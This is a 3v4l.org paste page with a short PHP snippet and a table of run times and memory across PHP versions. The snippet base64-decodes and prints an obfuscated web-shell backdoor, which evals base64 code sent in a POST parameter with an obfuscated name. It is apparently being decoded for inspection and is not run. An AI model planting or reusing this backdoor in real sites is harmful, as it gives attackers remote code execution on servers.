3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\'; $code=base64_decode($_) echo $code ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.320.0050.03812.50
5.4.310.0070.04112.49
5.4.300.0090.03812.50
5.4.290.0060.04812.49
5.4.280.0090.03912.39
5.4.270.0090.03612.39
5.4.260.0050.03912.39
5.4.250.0060.04112.39
5.4.240.0080.03312.39
5.4.230.0060.04212.38
5.4.220.0070.03412.38
5.4.210.0050.04212.39
5.4.200.0060.04112.38
5.4.190.0060.03612.38
5.4.180.0080.03312.38
5.4.170.0060.03612.39
5.4.160.0060.03512.38
5.4.150.0100.03112.38
5.4.140.0070.03612.07
5.4.130.0030.03612.05
5.4.120.0020.03712.02
5.4.110.0060.04112.01
5.4.100.0050.03812.01
5.4.90.0040.04512.02
5.4.80.0070.03412.01
5.4.70.0090.03212.01
5.4.60.0090.03612.01
5.4.50.0060.03412.00
5.4.40.0040.04311.99
5.4.30.0050.03512.00
5.4.20.0030.04111.98
5.4.10.0050.03811.99
5.4.00.0070.03811.48
5.3.290.0060.03812.80
5.3.280.0090.03912.71
5.3.270.0070.04012.72
5.3.260.0100.03512.72
5.3.250.0070.03912.71
5.3.240.0080.04212.72
5.3.230.0050.03812.71
5.3.220.0090.04612.68
5.3.210.0050.04012.68
5.3.200.0050.04112.68
5.3.190.0060.03712.68
5.3.180.0050.03612.68
5.3.170.0080.03312.67
5.3.160.0060.03612.68
5.3.150.0050.03712.68
5.3.140.0040.04012.66
5.3.130.0070.03712.66
5.3.120.0050.03812.66
5.3.110.0080.03612.66
5.3.100.0040.03812.12
5.3.90.0050.03712.09
5.3.80.0040.03612.07
5.3.70.0050.03612.08
5.3.60.0060.03512.07
5.3.50.0060.03712.00
5.3.40.0070.03412.00
5.3.30.0080.03211.95
5.3.20.0060.04411.73
5.3.10.0050.03411.70
5.3.00.0080.03611.68
5.2.170.0030.0319.19
5.2.160.0050.0379.18
5.2.150.0060.0289.19
5.2.140.0080.0269.18
5.2.130.0030.0309.14
5.2.120.0050.0279.14
5.2.110.0030.0309.14
5.2.100.0050.0319.14
5.2.90.0040.0369.14
5.2.80.0030.0349.14
5.2.70.0040.0309.14
5.2.60.0050.0299.09
5.2.50.0040.0429.06
5.2.40.0050.0309.04
5.2.30.0020.0319.01
5.2.20.0070.0289.00
5.2.10.0050.0358.93
5.2.00.0040.0288.79
5.1.60.0030.0298.07
5.1.50.0040.0358.06
5.1.40.0050.0248.05
5.1.30.0040.0298.40
5.1.20.0060.0258.41
5.1.10.0060.0258.14
5.1.00.0020.0278.14
5.0.50.0060.0266.62
5.0.40.0050.0186.48
5.0.30.0020.0336.29
5.0.20.0080.0226.27
5.0.10.0030.0226.25
5.0.00.0040.0296.24
4.4.90.0010.0174.78
4.4.80.0050.0134.75
4.4.70.0020.0164.76
4.4.60.0040.0144.76
4.4.50.0030.0144.77
4.4.40.0020.0264.71
4.4.30.0050.0154.76
4.4.20.0030.0174.84
4.4.10.0030.0174.85
4.4.00.0010.0364.75
4.3.110.0030.0164.67
4.3.100.0040.0164.66
4.3.90.0020.0214.63
4.3.80.0050.0234.58
4.3.70.0000.0174.63
4.3.60.0020.0204.63
4.3.50.0030.0164.63
4.3.40.0040.0294.54
4.3.30.0030.0153.28
4.3.20.0030.0143.26
4.3.10.0020.0193.22
4.3.00.0030.0207.20

preferences:
134.17 ms | 1398 KiB | 7 Q